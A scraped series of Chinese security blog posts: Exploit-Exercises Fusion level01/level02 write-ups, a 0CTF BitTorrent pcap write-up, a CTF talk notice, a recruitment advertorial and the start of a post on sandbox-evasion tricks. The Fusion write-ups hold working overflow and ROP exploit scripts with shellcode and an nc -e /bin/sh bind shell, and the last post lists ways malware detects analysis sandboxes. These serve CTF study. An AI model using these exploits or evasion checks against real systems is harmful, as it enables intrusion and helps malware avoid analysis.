root@kali:/usr/share/metasploit-framework/tools# python -c "print 'GET /' + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag HTTP/1.1'+'\x90'*100" | nc 192.168.218.197 20001

这时候,在Fusion的机器的根目录/下发现core文件,使用gdb进行调试:

root@fusion:/# gdb /opt/fusion/bin/level01 core.level01.3147 
 
Reading symbols from /opt/fusion/bin/level01...done.
[New LWP 3147]
 
warning: Can't read pathname for load map: Input/output error.
Core was generated by `/opt/fusion/bin/level01'.
Program terminated with signal 11, Segmentation fault.
#0  0x65413665 in ?? ()

这里EIP被覆盖为0×65413665,找到这个数据在字符串中的偏移值,发现偏移值为139:

root@kali:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 0x65413665
[*] Exact match at offset 139

另外,我们发现esi寄存器指向了一堆0×90,那就是我们放在HTTP/1.1后面的数据:

(gdb) i r 
eax            0x1	1
ecx            0xb75c78d0	-1218676528
edx            0xbfd3da89	-1076634999
ebx            0xb773fff4	-1217134604
esp            0xbfd3da50	0xbfd3da50
ebp            0x41356541	0x41356541
esi            0xbfd3db3e	-1076634818
edi            0x8049ed1	134520529
eip            0x65413665	0x65413665
eflags         0x10246	[ PF ZF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x /20xb $esi
0xbfd3db3e:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbfd3db46:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbfd3db4e:	0x90	0x90	0x90	0x90

如果能找到一条jmp esi指令,那就完美了,不过通过msfelfscan没有找到:

root@kali:/usr/share/metasploit-framework# ./msfelfscan -j esi /home/winson/Desktop/Fusion/level01
[/home/winson/Desktop/Fusion/level01]

也可以先找jmp esp,然后再执行jmp esi,后者我们可以自己构造:

root@kali:/usr/share/metasploit-framework# ./msfelfscan -j esp /home/winson/Desktop/Fusion/level01
[/home/winson/Desktop/Fusion/level01]
0x08049f4f jmp esp

https://defuse.ca/online-x86-assembler.htm 这个页面可以将汇编指令翻译成对应的机器码,我们得到jmp esi的机器码为FF E6。

0×02. 执行Shellcode
这里level01的UID为20001,因此生成一段创建文件的Shellcode进行测试,使用msfvenom创建一段Shellcode:(创建文件/tmp/foobar)

root@kali:/usr/share/metasploit-framework/tools# msfvenom -p linux/x86/exec -f py CMD="touch /tmp/foobar"
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders
buf =  ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x12"
buf += "\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70"
buf += "\x2f\x66\x6f\x6f\x62\x61\x72\x00\x57\x53\x89\xe1\xcd"
buf += "\x80"

我们先通过jmp esp来跳转到栈上执行jmp esi,之后就可以执行Shellcode了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import sys
import socket
 
def pwn(ip, port):
    junk = 'A'*139
    ret = "\x4f\x9f\x04\x08"
    jmpesi = "\xFF\xE6"
    nops = '\x90'*100
    shellcode  = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73"
    shellcode += "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x12\x00\x00"
    shellcode += "\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x66\x6f"
    shellcode += "\x6f\x62\x61\x72\x00\x57\x53\x89\xe1\xcd\x80"
    request = 'GET /' + junk + ret + jmpesi + ' HTTP/1.1' + nops + shellcode
 
    fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
    fd.connect((ip, port))
    fd.sendall(request)
    fd.close()
 
if __name__ == "__main__":
    if len(sys.argv) == 3:
        pwn(sys.argv[1], int(sys.argv[2]))

发送攻击数据给Fusion机器:

winson@kali:~/Desktop/Fusion$ python level01.py 192.168.218.197 20001

Exploit-Exercises Fusion Level01


本文地址: 程序人生 >> Exploit-Exercises Fusion Level01
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


Exploit-Exercises Fusion Level02

$
0
0

Exploit-Exercises Fusion Level02,引入了DEP以及ASLR,引发溢出的代码位于encrypt_file函数中,当读入字符’E’的时候,首先读入四字节的数据到sz,用于表示接下来会有多少数据要读取,尽管接下来是通过read来读取数据到缓冲区buffer中,但是由于大小完全可控,所以可以溢出buffer缓冲区(128KB),然后覆盖返回地址。这个题还有一个地方就是会对发过去的数据进行加密处理,而且key是随机生成的,但是由于key只在首次生成而且被重复使用,会造成key的泄露,因此在发送特定部分的攻击数据的时候,可以先使用key进行xor操作。

Level02的源代码如下(监听端口为20002):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include "../common/common.c"    
 
#define XORSZ 32
 
void cipher(unsigned char *blah, size_t len)
{
  static int keyed;
  static unsigned int keybuf[XORSZ];
 
  int blocks;
  unsigned int *blahi, j;
 
  if(keyed == 0) {
      int fd;
      fd = open("/dev/urandom", O_RDONLY);
      if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
      close(fd);
      keyed = 1;
  }
 
  blahi = (unsigned int *)(blah);
  blocks = (len / 4);
  if(len & 3) blocks += 1;
 
  for(j = 0; j < blocks; j++) {
      blahi[j] ^= keybuf[j % XORSZ];
  }
}
 
void encrypt_file()
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];
 
  unsigned char op;
  size_t sz;
  int loop;
 
  printf("[-- Enterprise configuration file encryption service --]\n");
 
  loop = 1;
  while(loop) {
      nread(0, &op, sizeof(op));
      switch(op) {
          case 'E':
              nread(0, &sz, sizeof(sz));
              nread(0, buffer, sz);
              cipher(buffer, sz);
              printf("[-- encryption complete. please mention "
              "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
              "staff to retrieve your file --]\n");
              nwrite(1, &sz, sizeof(sz));
              nwrite(1, buffer, sz);
              break;
          case 'Q':
              loop = 0;
              break;
          default:
              exit(EXIT_FAILURE);
      }
  }
 
}
 
int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;
 
  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);
 
  encrypt_file();
}

0×01. 定位返回地址覆盖偏移值
先kill掉Fusion机器上原有的level02进程,然后gdb调试:

root@fusion:/opt/fusion/bin# gdb -q level02
Reading symbols from /opt/fusion/bin/level02...done.
(gdb) b encrypt_file
Breakpoint 1 at 0x8049800: file level02/level02.c, line 40.
(gdb) set follow-fork-mode child
(gdb) r
Starting program: /opt/fusion/bin/level02
[New process 9533]
[New process 9543]
[Switching to process 9543]
 
Breakpoint 1, encrypt_file () at level02/level02.c:40
40      level02/level02.c: No such file or directory.
        in level02/level02.c
(gdb) p $ebp - (int)&buffer + 4
$1 = (void *) 0x20010

我们对encrypt_file下了一个断点,要触发这个断点,需要发送数据过去:

winson@kali:~/Desktop/Fusion$ python -c "print 'E\x02\x00\x00\x00AB'" | nc 192.168.218.197 20002

这里要求对两个字节进行加密,触发断点后计算出返回地址覆盖的偏移值为0×20010。

观察源代码中的switch结构,如果我们发送这样的数据之后直接退出,那么就不会触发encrypt_file函数的返回了,因为如果没有收到字符’Q’,那么就进入default分支,进程调用exit之后就退出了,因此在测试的时候还需要在数据的末尾添加字符’Q’,这样函数才有返回的机会。

0×02. 信息泄露
这里buffer中的数据会传给cipher函数进行加密处理,而密钥是通过读取设备文件/dev/urandom得到的随机数,那么我们就不可能提前猜测到KEY了。但是这里cipher函数中keyed和keybuf都是static变量,因此对整个进程而言,只有第一次的时候才会生成这些随机数据,下次则直接使用原来的数据,通过进程提供的加密服务,keybuf会被泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python
# encoding: utf-8
import sys
import time
import struct
import socket
 
def recv_exactly(s, n):
    data = ""
    while len(data) < n:
        data += s.recv(n - len(data))
    return data
 
def get_key(s):
    data = 'A'*128
    recv_exactly(s, 57)
    s.send('E')
    s.send(struct.pack("<I", len(data)))
    s.send(data)
    recv_exactly(s, 120)
    size_packed = recv_exactly(s, 4)
    size_unpacked = struct.unpack("<I", size_packed)[0]
    enc = recv_exactly(s, size_unpacked)
 
    key = []
    for i in xrange(0, len(data)):
        key.append(ord('A')^ord(enc[i]))
    return key
 
def get_socket(ip, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
    s.connect((ip, port))
    return s
 
if __name__ == "__main__":
    if len(sys.argv) == 3:
        s = get_socket(sys.argv[1], int(sys.argv[2]))
        key = get_key(s)
        s.close()
        print key
'''
winson@kali:~/Desktop/Fusion$ python getkey.py 192.168.218.197 20002
[251, 107, 158, 231, 116, 233, 48, 93, 138, 94, 183, 5, 209, 54, 229, 
191, 66, 18, 158, 61, 80, 52, 26, 105, 109, 177, 182, 101, 19, 153, 
39, 254, 130, 105, 102, 183, 15, 197, 244, 88, 125, 197, 189, 136, 
74, 133, 39, 209, 45, 232, 111, 108, 120, 117, 50, 183, 148, 103, 
163, 103, 223, 180, 99, 158, 172, 26, 214, 40, 229, 225, 114, 185, 
158, 156, 1, 100, 18, 149, 87, 212, 220, 155, 179, 92, 24, 231, 4, 
241, 202, 198, 116, 227, 100, 49, 7, 186, 254, 129, 22, 49, 122, 34, 
41, 130, 148, 70, 84, 146, 49, 116, 231, 150, 95, 175, 248, 94, 202, 
127, 18, 107, 97, 234, 182, 252, 86, 69, 211, 24]
'''

0×03. ROP链
使用ROPGadget搜索可用的ROP链:

root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g
Gadgets information
============================================================
0x080487f6: pop %edi | ret
0x08048815: add $0x08,%esp | pop %ebx | ret
0x08048818: pop %ebx | ret
0x08048b0f: add $0x04,%esp | pop %ebx | pop %ebp | ret
0x08048b12: pop %ebx | pop %ebp | ret
0x08048b13: pop %ebp | ret
0x08048b3f: call *%eax
0x08048b7f: sub $0xc9fffffd,%eax | ret
0x08048bc3: mov $0xc9fffffc,%ecx | ret
0x080499bc: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080499d2: mov (%esp),%ebx | ret
0x080499f8: sub $0x04,%ebx | call *%eax
0x08049fe3: call *(%ebx)
 
Unique gadgets found: 13
 
 
Possible combinations.
============================================================
 
[-] Combo 1 was not found, missing instruction(s).
        - .......... => int $0x80
        - .......... => inc %eax
        - .......... => xor %eax,%eax
        - .......... => mov %e?x,(%e?x)
        - .......... => pop %eax
        - 0x08048818 => pop %ebx | ret
        - .......... => pop %ecx
        - .......... => pop %edx
        - 0x00000001 => .data Addr
[-] Combo 1 was not found, missing instruction(s).
        - .......... => sysenter
        - .......... => inc %eax
        - .......... => xor %eax,%eax
        - .......... => mov %e?x,(%e?x)
        - .......... => pop %eax
        - 0x08048818 => pop %ebx | ret
        - .......... => pop %ecx
        - .......... => pop %edx
        - 0x08048b13 => pop %ebp | ret
        - 0x00000001 => .data Addr

现在我们想通过execve来执行一条命令,查找程序内部是否有execve:

root@fusion:/opt/fusion/bin# objdump -d level02 | grep execve
080489b0 <execve@plt>:
 804949b:       e8 10 f5 ff ff          call   80489b0 <execve@plt>

如果execve执行失败了,还要优雅的退出进程,查找exit:

root@fusion:/opt/fusion/bin# objdump -d level02 | grep exit
08048960 <exit@plt>:
 8048c58:       e8 03 fd ff ff          call   8048960 <exit@plt>

在一个固定的位置安放execve的参数也是需要考虑的一个问题。通过如下命令查看各个区段的属性:

(gdb) maintenance info sections
Exec file:
    `/opt/fusion/bin/level02', file type elf32-i386.
    0x8048134->0x8048147 at 0x00000134: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048148->0x8048168 at 0x00000148: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048168->0x804818c at 0x00000168: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804818c->0x80481cc at 0x0000018c: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x80481cc->0x80484ac at 0x000001cc: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x80484ac->0x8048607 at 0x000004ac: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048608->0x8048664 at 0x00000608: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048664->0x8048694 at 0x00000664: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048694->0x80486bc at 0x00000694: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x80486bc->0x80487ec at 0x000006bc: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x80487ec->0x804881a at 0x000007ec: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x8048820->0x8048a90 at 0x00000820: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x8048a90->0x8049a0c at 0x00000a90: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x8049a0c->0x8049a26 at 0x00001a0c: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x8049a28->0x8049ec0 at 0x00001a28: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8049ec0->0x8049f7c at 0x00001ec0: .eh_frame_hdr ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8049f7c->0x804a274 at 0x00001f7c: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804b274->0x804b27c at 0x00002274: .init_array ALLOC LOAD DATA HAS_CONTENTS
    0x804b27c->0x804b284 at 0x0000227c: .ctors ALLOC LOAD DATA HAS_CONTENTS
    0x804b284->0x804b28c at 0x00002284: .dtors ALLOC LOAD DATA HAS_CONTENTS
    0x804b28c->0x804b290 at 0x0000228c: .jcr ALLOC LOAD DATA HAS_CONTENTS
    0x804b290->0x804b368 at 0x00002290: .dynamic ALLOC LOAD DATA HAS_CONTENTS
    0x804b368->0x804b36c at 0x00002368: .got ALLOC LOAD DATA HAS_CONTENTS
    0x804b36c->0x804b410 at 0x0000236c: .got.plt ALLOC LOAD DATA HAS_CONTENTS
    0x804b410->0x804b418 at 0x00002410: .data ALLOC LOAD DATA HAS_CONTENTS
    0x804b420->0x804b500 at 0x00002418: .bss ALLOC
    0x0000->0x29f4 at 0x00002418: .stab READONLY HAS_CONTENTS
    0x0000->0x9111 at 0x00004e0c: .stabstr READONLY HAS_CONTENTS
    0x0000->0x002a at 0x0000df1d: .comment READONLY HAS_CONTENTS

可以选择.bss区段来存放数据,.bss是可写的,起始地址为0x804b420。那如何把参数数据写到.bss呢?我们可以构造一个nread栈帧,让程序从encrypt_file返回后执行nread,把数据写入到.bss的其实位置。

在gdb中通过p打印出nread函数的地址信息:

(gdb) p nread
$1 = {ssize_t (int, void *, size_t)} 0x804952d <nread>

我们还需要leave/ret指令来构造一个指定基地址的栈帧:(grep命令行参数-A1表示查看匹配的leave下一行数据,-m1表示只需要找到一处匹配的数据即可)

root@fusion:/opt/fusion/bin# objdump -d level02 | grep leave -A1 -m1
 8048b41:       c9                      leave
 8048b42:       c3                      ret

0×04. Shellcode构造
现在可以构造Shellcode了,我们通过execve执行nc来监听一个端口。需要注意的是,Fusion机器下的/bin/nc/指向/etc/alternatives/nc,而这个nc不支持-e参数选项,所以可以使用/bin/nc.traditional这个nc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python
# encoding: utf-8
import sys
import time
import struct
import socket
 
def recv_exactly(s, n):
    data = ""
    while len(data) < n:
        data += s.recv(n - len(data))
    return data
 
def get_key(s):
    data = 'A'*128
    recv_exactly(s, 57)
    s.send('E')
    s.send(struct.pack("<I", len(data)))
    s.send(data)
    recv_exactly(s, 120)
    size_packed = recv_exactly(s, 4)
    size_unpacked = struct.unpack("<I", size_packed)[0]
    enc = recv_exactly(s, size_unpacked)
 
    key = []
    for i in xrange(0, len(data)):
        key.append(ord('A')^ord(enc[i]))
    return key
 
def get_socket(ip, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
    s.connect((ip, port))
    return s
 
def encrypt_payload(payload, key):
    data = []
    keylen = len(key)
    for i in xrange(0, len(payload)):
        data.append(chr(ord(payload[i])^key[i%keylen]))
    return "".join(data)
 
def pwn(s, key):
    base = 0x0804b420
    junk = 'A'*0x20010
    bss = struct.pack("<I", base)
    nread = struct.pack("<I", 0x0804952d)
    fd = struct.pack("<I", 0)
    size = struct.pack("<I", 100)
    popebp = struct.pack("<I", 0x08048b13)
    ebp = bss
    leaveret = struct.pack("<I", 0x08048b41)
    stage0 = popebp + ebp + nread + leaveret + fd + bss + size
    payload1 = junk + stage0
 
    print "Sending stage0 data..."
    payload1_enc = encrypt_payload(payload1, key)
    s.send("E")
    s.send(struct.pack("<I", len(payload1_enc)))
    s.send(payload1_enc)
    time.sleep(0.5)
 
    s.recv(0xFFFFFF)
    s.send("Q")
    time.sleep(0.5)
 
    null = struct.pack("<I", 0x00)
    filler = "DDDD"
    execve = struct.pack("<I", 0x080489b0)
    exit = struct.pack("<I", 0x08048960)
    args = struct.pack("<I", base + 24)
    envp = null
 
    data_offset = 40
    binnc = struct.pack("<I", base + data_offset)
    ncarg1 = struct.pack("<I", base + data_offset + 20)
    ncarg2 = struct.pack("<I", base + data_offset + 29)
 
    print "Sending stage1 data..."
    stage1 = filler + execve + exit + binnc + args + envp
    stage1 += binnc + ncarg1 + ncarg2 + null
    stage1 += "/bin/nc.traditional\0" + "-ltp6667\0" + "-e/bin/sh\0"
    junk = "E"*(100 - len(stage1))
    s.send(stage1+junk)
    s.close()
 
if __name__ == "__main__":
    if len(sys.argv) == 3:
        s = get_socket(sys.argv[1], int(sys.argv[2]))
        key = get_key(s)
        pwn(s, key)
        print "pwn done..."

其中代码

stage0 = popebp + ebp + nread + leaveret + fd + bss + size

所构造的数据中,首先执行pop ebp,将ebp指向.bss的起始位置,然后执行nread读取100字节的数据,随后执行leave # ret,将esp指向.bss的其实位置,然后从栈顶弹出数据赋值给ebp寄存器。

而代码

stage1 = filler + execve + exit + binnc + args + envp

所构造的数据中,filler为填充数据,执行pop ebp时弹给ebp寄存器,接着执行execve函数,其中:
1. binnc指向字符串”/bin/nc.traditional\0″,位于.bss偏移40的位置,长度为20;
2. args指向一个字符数组,位于.bss偏移24的位置,内容为binnc + ncarg1 + ncarg2 + null,即命令后参数数组;
3. envp指向NULL;
执行完execve之后,如果执行成功,那么监听端口就开启了,如果执行失败,则调用exit退出进程。

winson@kali:~/Desktop/Fusion$ python level02.py 192.168.218.197 20002
Sending stage0 data...
Sending stage1 data...
pwn done...
winson@kali:~/Desktop/Fusion$ nc 192.168.218.197 6667
id
uid=20002 gid=20002 groups=20002

Exploit-Exercises Fusion Level02

0×05. References
http://www.kroosec.com/2013/03/fusion-level02.html
http://vnico.mundodisco.net/archives/258


本文地址: 程序人生 >> Exploit-Exercises Fusion Level02
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

乌云Club沙龙PPT《CTF Binary Tricks》

$
0
0

1月10日参加了乌云Club沙龙第三期,这一期的主题为CTF,Puzzor问我有没有时间去讲点东西,后来我就去了(本来是Puzzor去讲的,他说没有时间去了)。同去分享的小伙伴还有Light4Freedom队友redrain、蓝莲花死猫、北邮天枢Teacher G。

死猫分享的PPT展示了很多猥琐技巧,不过说PPT仅限内部分享,就没有放出来。redrain和Teacher G的分享也很精彩,我个人分享的就比较简单了。这次过去还见到了Ricter、AZure以及其他的小伙伴。

PPT下载:
redrain 赛棍的自我修养
Teacher G 常规的CTF题目解析
Wins0n CTF Binary小技巧 备份下载地址:CTF Binary小技巧
Wooyun Club沙龙CTF Binary Tricks


本文地址: 程序人生 >> 乌云Club沙龙PPT《CTF Binary Tricks》
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

0ops 0CTF Quals peers writeup

$
0
0

最近忙着写毕业论文,好久不更新Blog,写一下2015 XCTF中0ops 0CTF资格赛的一道简单题目的分析,最近几次比赛做的都不是很好,排名严重下滑了。

我们知道在BT下载的时候,文件块的下载时没有顺序的,所以这是一个bittorrent文件重组的问题。题目给了一个pcapng文件,首先要做的是找到文件所在的网络流量,这个还是比较简单的,在wireshark中打开pcapng文件,发现挨着很多长度为1514和54的包,随便选一条之后Follow TCP Stream即可,之后看到的就是整个会话的网络流量了,如下图所示:
0ops 0CTF Quals peers Writeup - Wireshark TCP Stream

分析一下这个流量,可以看到一个BM字样,那个就是BMP位图的Magic标志了,所以现在过滤出下载流量,并且要删除第一个文件数据块之前的所有数据,上图中的红框就是第一个文件数据块了。将过滤之后的数据进行保存。
0ops 0CTF Quals peers Writeup - Wireshark TCP Stream Filter

现在分析一下数据,第一个数据块中,在BM的前面还有13字节,如下:

Offset  00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15
0000000 00 00 40 09 07 00 00 00 00 00 00 00 00 42 4d 36

这个就是bittorrent返回的数据块的头部信息。其结构如下:

Piece: <len=0009+X><id=7><index><begin><block>
The piece message is variable length, where X is the length of the block. The payload contains the following information 
  •index: integer specifying the zero-based piece index 
  •begin: integer specifying the zero-based byte offset within the piece 
  •Block: block of data, which is a subset of the piece specified by index.

所以对数据包的分析如下:

  1. 00 00 40 09:0×4009,表示在数据00 00 40 09之后紧跟着0×4009大小的数据,其中id、index、begin占用9字节,真正的数据块大小为0×4000字节;
  2. 07:id号,表示piece,表示这是一个数据块;
  3. 00 00 00 00:数据块的下标索引,这里为0,表示是文件的第一个数据块;
  4. offset:数据块在piece里面的偏移值;

从Wireshark dump出来的数据就是许许多多这样的piece,而且,分析可以发现每一个piece都是完整的,也就是不需要考虑offset,因此可以很容易的编写一个Python脚本来重组文件0ops 0CTF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import struct
 
def restruct():
    f = open("temp.bmp", "rb")
    data = f.read()
    f.close()
 
    chunks = {}
    o = 0
    while o < len(data):
        size = struct.unpack(">L", data[o:o+4])[0]
        o += 4
        index = struct.unpack(">L", data[o+1:o+5])[0]
        chunks[index] = data[o+9:o+size]
        o += size
 
    f = open("flag.bmp", "wb")
    for i in xrange(len(chunks)):
        f.write(chunks[i])
    f.close()
 
if __name__ == "__main__":
    restruct()
# Author: http://www.programlife.net/

看网上介绍好像可以通过tshark命令行完成文件提取,不过怎么玩都失败_(:зゝ∠)_
0CTF Quals Peers Flag

reference:

http://cs.ecs.baylor.edu/~donahoo/classes/5321/projects/bittorrent/BitTorrent%20Protocol%20Specification.doc

本文地址: 程序人生 >> 0ops 0CTF Quals peers writeup
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

为什么高端人才会使用「拍卖」选工作?

$
0
0

100offer-互联网人才拍卖-专业程序员拍卖平台

想象一下,当你在一个网站上递交你的简历后,你会像珐琅彩瓷一样被各个公司竞相拍卖,确定到合适的「买主」之后,专车把你送到面试的地点;入职当天,你会收到精心准备的小礼物,通过试用期后,你还会收到 3000 元的奖金奖励!

程序员粘永把简历挂在网站后不久,就接到一个 HR的电话,「太快了」,不到一周,他就得到了心仪已久的公司 Strikingly 的面试机会,顺利入职。

啧啧,听上去像是广告一样。

但这是个真实的故事,这个网站叫100offer。在星巴克初次见面,100offer 创始人贾智凡向我介绍:我们在做这样一件事——帮中高端程序员高效地选一份更好的工作。

「4万名程序员,2600家互联网公司,参加拍卖的程序员90%至少拿到一个offer,平均每人可收到12个靠谱面试机会。」这是100offer 上线8个月交出的成绩,不久前他们拿到了2000万人民币A轮融资。

牛人用「拍卖方式」来选工作,有什么合理性?

相比于迷茫又急于找到工作的应届生,进入职场多年的中高端人才的选择则非常慎重——有着明确的薪资提升与发展空间的需求,所以猎头和朋友推荐是过去的常用途径。然而凭借猎头和人脉圈,提供的选择机会终究是有限的,中高端人才找工作很容易,但「选」到满意的工作实属不易。

「拍卖」,则提供了独特的价值:一次申请,匿名挑选2600家公司,总有很多猎头和人脉圈无法触及的「惊喜」机会;与此同时相比于「广告密集、色彩缤纷」的招聘网站,拍卖网站帮高端人才做了一次信用保证,求职者完全变身稀缺品,企业需要刻不容缓争抢。

「求职人群中,应届生很容易得到来自前辈与亲友的建议与指点,而且各方面要求相对较低,中高端程序员则往往无法在普通招聘网站中满足待遇升值的需求,这同样也是100offer的机遇。」贾智凡强调,「人才拍卖不是招聘网站,我们只服务于缺选择不缺工作的高端人才,帮他们高效地选一份更好的工作」。

求职者和招聘方需求相互矛盾,拍卖产品偏向谁?

100offer程序员拍卖

「招聘方和求职方的需求是矛盾的,候选人希望企业信息足够透明,再向企业透露信息,企业方则希望尽快获得简历,可以直接打电话。我们非常重视求职方的体验。」

在星巴克,这个看上去不善言辞的创业者一边喝着茶一边回答我的疑问。在产品功能的轻重缓急上,他已经考虑了很多。通常情况下,他要低头思考几秒钟,才给出答案。

「每一个通过100offer入职的候选人,会收到3000元奖金;同时100offer向企业收取一定费用」,从100offer的选择上可以看出对求职者的极度偏向。

拍卖产品是如何一步步打动高端用户的?

其实,100offer的定位非常严苛:一线互联网公司、2年以上工作经验、年薪20万起。这部分用户理性、缜密、渴望自由并佩服真正有本事的成功者,同时过去大多使用猎头和朋友推荐,100offer需要攻克的是互联网领域最难被说服的用户。

2014年7月100offer上线,「起初时挺焦虑的,毕竟从零开始,也没人相信我们,但后来觉得反正也没啥可失去的,慢慢内心就柔软淡定了。」贾智凡说。100offer前1000个用户来源于程序员社区V2EX,「其实大家只是出于猎奇的心态,并来试试验证下真实性。那时用户少,我们1个半月拍卖一次,每次50~100个优质候选人。」

1次申请,10个优质offer,1份更好的工作

但再怎么样,这些高端用户被猎头、朋友、HR围绕,其实并不缺一个机会,「他们缺少的是好的选择,100offer所解决的,就是帮他们高效地选更好的工作」,贾智凡介绍,上线不到一年时间,100offer每周开始一次新的拍卖,100~200人,这也证实了100offer的价值。「对于这批用户,真正打动他们的是真实的效果。」

在竞争激烈的招聘领域,这家网站的独特思路让我看起来和所有其他的网站都不太一样。

部分内容来自:极客公园 李欣

也来谈谈沙箱逃逸技术

$
0
0

今天在微博上看到有大神发表了关于沙箱逃逸技术的文章针对沙箱检测的逃逸技术小讨论,让我想起来我也还有几个有意思的小技巧,所以也来凑个热闹。需要声明的一点是,本文将要讨论的问题是我很久之前所做的总结,当前是否有效我没有去验证,所以,如果你实际测试的时候发现方法失效了,也请保持冷静!

0×01. 进程检测技巧
许多文章都会提到通过检测进程名字的方式来判断当前环境是否是虚拟机,那么自然要去比较进程名字了,而获取当前进程列表也无外乎几个固定的套路。我发现在检测特定进程名字的时候,是会触发火眼的监控逻辑的。比如,一个盗号木马可能会去检测有没有QQ.exe,那么火眼会在报告中指出样本程序尝试去检测QQ.exe;而如果以同样的逻辑去检测虚拟机,效果就和预期的不太一致了,比如报告中会提示你的程序尝试去检测vmtoolsd.exe,呵呵!

绕过的方法也很简单,样本程序中不保存进程名字的明文,而是保存经过特定的运算之后的值(加密后的密文)。我们在获取到进程的名字之后,也要先进行一次这样的运算再判断。这种方法是我大学做病毒分析实习的时候在样本中学到的,大家可以在Google中搜一下explorer.exe的MD5值cde09bcdf5fde1e2eac52c0f93362b79。

0×02. 沙箱检测还可以这么玩
2.1 基于Windows ProductId检测
这也算是比较老的一种方法了,Windows ProductId位于注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion下的ProductID键。比如Anubis沙箱常见的值为76487-640-1457236-23837,去Google一下这个字符串就知道使用的普遍程度了。

这个方法针对Cuckoo Sandbox是没用的,Cuckoo Sandbox在执行sample之前会生成一个随机的ProductId来填充注册表。Malwr是基于Cuckoo构建的产品。这种检测行为会触发监控逻辑哟~

2.2 基于ComputerName检测
估计公司电脑的ComputerName大多是有规则的,或者是基于同一个镜像制作的虚拟机。比如我之前测试翰海源的文件B超的时候,发现其ComputerName都是xiaochen打头的。后来的后来,好像又出现了CHENHONG打头的,估计就是同一个人了。后面我会给出其他几家厂商的特征。

2.3 基于内存大小检测
